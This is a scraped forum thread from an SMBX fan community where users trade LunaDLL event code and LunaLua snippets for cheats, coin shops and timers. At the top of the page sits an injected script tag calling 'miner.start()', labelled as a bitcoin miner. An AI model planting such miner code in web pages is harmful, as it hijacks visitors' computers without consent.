<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralpge projectsmbx community

LunaDLL/LunaLUA help thread

The second SMBX collab!
TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

I guess I can use custom cheats, but I don't know how to make it only avaliable once per level visit. Is that what Delete Events From is for?

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 921
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: LunaDLL help thread

Postby Rockythechao » 5 years ago

Why not use a timer to prevent it from triggering in the subsequent frames? The event only activates if the timer is inactive, and then it sets the timer to half a second or so.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

TiKi wrote:I guess I can use custom cheats, but I don't know how to make it only avaliable once per level visit. Is that what Delete Events From is for?
Yes but is that even necessary? Unless you really don't want them to buy multiple items for some reason, they can buy as many items as they want until they run out coins, and then the transaction won't work.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Ittababy
Posts: 13
Joined: 5 years ago

Re: LunaDLL help thread

Postby Ittababy » 5 years ago

Is there a way to make it so the player cannot dismount no matter what?
A very shy ghost.

KingTwelveSixteen
? Title Title Title Title ?
Posts: 30
Joined: 9 years ago
Location: USA

Re: LunaDLL help thread

Postby KingTwelveSixteen » 5 years ago

Ittababy wrote:Is there a way to make it so the player cannot dismount no matter what?
Disable spin-jump.

That Luna-code to do that can be found over in the Superb Demo Sisters collab.

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

That actually works? Never tried it myself.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Ittababy
Posts: 13
Joined: 5 years ago

Re: LunaDLL help thread

Postby Ittababy » 5 years ago

KingTwelveSixteen wrote:
Ittababy wrote:Is there a way to make it so the player cannot dismount no matter what?
Disable spin-jump.

That Luna-code to do that can be found over in the Superb Demo Sisters collab.
Tried that, no luck. Demo just hops off catnip without spinning. :/
Is there a way to just disable that button entirely?
A very shy ghost.

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

Kil could you help me a bit?
I want the 3 Section of my castle to be a autoscroll section,i got the scrolling to work but the screen
still moves like normal when i walk to the right... How can i stop that?
EDIT:
This is my code:
http://pastebin.com/PHBxTikK

TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Darkchaox100 wrote:Kil could you help me a bit?
I want the 3 Section of my castle to be a autoscroll section,i got the scrolling to work but the screen
still moves like normal when i walk to the right... How can i stop that?
EDIT:
This is my code:
http://pastebin.com/PHBxTikK
I fixed this btw

TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

http://speedy.sh/Q6rBp/Yoshi-Castle.zip
Okay in section 8 we have MC Ballyhoo's (and his talking hat Big Top who is currently a Paragoomba lol) shop. The way I'm doing powerups is it shows and hides a generator for a split second. What I'm looking for is:
Typing "mushroom" triggers the SMBX event "MushroomOn" (sorry I forgot to add events in the level before I sent it) and subtracts 3 RaoCoins
Typing "flower" triggers "FlowerOn" and subtracts 6 coins
Typing "bigtop" triggers "MinigameDoorShow".

The first two can be done multiple times fine because of the generators. But the minigames would require a whole bunch of work to reset after you win them so what I was thinking was you could only do them once a level. Would it be possible to make the 1up in the shop that you get to after you win hide the door, or would this be overrode by the bigtop cheat's TriggerSMBXEvent? That triggers only once right?

PS Also you don't *have* to do this, but I'd appreciate it if you could use IfNPC to disable the first two passwords from working if npc-9 or npc-14 (respectively) exist in the room. If you get two powerups that are on top of each other, SMBX is iffy about making both count instead of just one.

PPS the reason I'm using generators instead of form-setting is so one can top up the third heart with a mushroom if they buy a flower.

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

What you sent doesn't contain the lua dragon coin system, so how is that going work?

Anyway

Code: Select all

#0
// Here's 10 dragon coins since you forgot to add the dragon coin thing. Delete this later
SetVar,0,0,10,0,1,RaoCoins
$RaoCoins,ShowVar,0,100,225,4,0,Coins =

// Section 8 codes
#8
OnCustomCheat,0,0,0,2000,0,mushroom
OnCustomCheat,0,0,0,2002,0,flower
OnCustomCheat,0,0,0,2005,0,bigtop

// If coins greater than 2...
#2000
IfVar,0,1,2,2001,1,RaoCoins

#2001
SetVar,0,2,3,0,1,RaoCoins
TriggerSMBXEvent,0,0,0,0,1,MushroomOn


// If coins greater than 5...
#2002
IfVar,0,1,5,2003,1,RaoCoins

#2003
SetVar,0,2,6,0,1,RaoCoins
TriggerSMBXEvent,0,0,0,0,1,FlowerOn


// If coins greater than 9...
#2005
IfVar,0,1,9,2006,1,RaoCoins

#2006
SetVar,0,2,10,0,1,RaoCoins
TriggerSMBXEvent,0,0,0,0,1,MinigameDoorShow
DON'T PM me. Ask your question in the help thread so everyone can be answered.

TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Thanks a ton

Hoeloe: your RaoCoins system levels call "load image a nil value" on level load, and afte you quit testing a level it crashes. The RaoCoins counter also isn't visible for me so I bet there's a problem there. Do I need to download Lua Luna as well or are the necessary files included?

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

TiKi wrote:Thanks a ton

Hoeloe: your RaoCoins system levels call "load image a nil value" on level load, and afte you quit testing a level it crashes. The RaoCoins counter also isn't visible for me so I bet there's a problem there. Do I need to download Lua Luna as well or are the necessary files included?
LunaLua will be necessary. The raocoin system I posted just as code does have some bugs (and will try loading a nil value on level load, unfortunately), but the example download should have that fixed. LunaLua wasn't included in the download, though.
Image
Image
Image
Image
Image

TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Hey Kil: could you please make the minigame event trigger a DeleteEventsFrom (so after calling that event once it deletes itself)?

User avatar
Oddwrath
The ghost of talkhaus unlikely
Posts: 17
Joined: 5 years ago
Pronouns: she/her
Location: Merry Old Europe

Re: LunaDLL help thread

Postby Oddwrath » 5 years ago

I decide to try LunaLua again and I've hit a block, again.

Code: Select all

T = 300
function onLoop()
printText("Time ",650,30)
printText(tostring(T/60),650,50)
	if (player.x>-199580 and player.y>-200150 and player.x<-199430 and player.y<-200070)then
		T = T - 1
		if (T =< 0) then
			player:harm()
		end
	else
	T =300
	end
end
The idea is that when the player enters the trigger box, they begin to choke/suffocate/freeze to death/whatever. If they don't get out in 5 seconds, they're pretty much boned, since the area won't stop dealing damage, until they're dead. The problems are:
1) The timer is displayed in a really ugly way(screenshot) and I don't know how to change it(unless there is some way to turn T/60 into an int)
2)I'm trying to find a way to stop the timer once it reaches 0.
Is there any way to do that in LunaLua?
Edit: Also, I have no idea how does playSFX([string] soundfile) works since it doesn't accept anything I give it.
Attachments
screen16.png
screen16.png (13.78 KiB) Viewed 2461 times

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

For 2, can't you just set T to = 0 after the player harm?
DON'T PM me. Ask your question in the help thread so everyone can be answered.

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

Hey Kil,would it be possible to edit the SMBX exe so it immediately starts the main game and not show the Launcher?

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

sure
DON'T PM me. Ask your question in the help thread so everyone can be answered.

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

Kil wrote:sure
Could you maybe do that with my SMBX exe if you don't mind?

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

Nah, that could take many hours 8-)
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Oddwrath wrote:I decide to try LunaLua again and I've hit a block, again.
You can turn t/60 into an int with a rounding function.

math.ceil(number) will round up, while math.floor(number) will round down. I think these functions are available in LunaLua.

For 2, add an extra condition: if(T > 0)
Image
Image
Image
Image
Image

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

Aww...
Well thats alright.
(I just asked btw,because i made my own launcher.)

TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Darkchaox100 wrote:Aww...
Well thats alright.
(I just asked btw,because i made my own launcher.)
Agreed for *my* game too

I guess you have to manually go in each exe and get the triggers for the main game menu?

Hey guys who's up for a "pay Kil" kickstarter for Yoshi's Island X?

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

You guys could just use any of the many freely available 2d engines you know. Not sure why everyone's so attached to SMBX when it's a huge pain in the ass.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Oddwrath
The ghost of talkhaus unlikely
Posts: 17
Joined: 5 years ago
Pronouns: she/her
Location: Merry Old Europe

Re: LunaDLL help thread

Postby Oddwrath » 5 years ago

Kil wrote:For 2, can't you just set T to = 0 after the player harm?
Hoeloe wrote: You can turn t/60 into an int with a rounding function.

math.ceil(number) will round up, while math.floor(number) will round down. I think these functions are available in LunaLua.

For 2, add an extra condition: if(T > 0)
Yup, worked like a charm. Thanks.

Also, I think we should do just a general LunaDLL to LunaLua conversion guide for everyone.


Also also, LunaLua still breaks the democounter. Just a reminder.


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 4 guests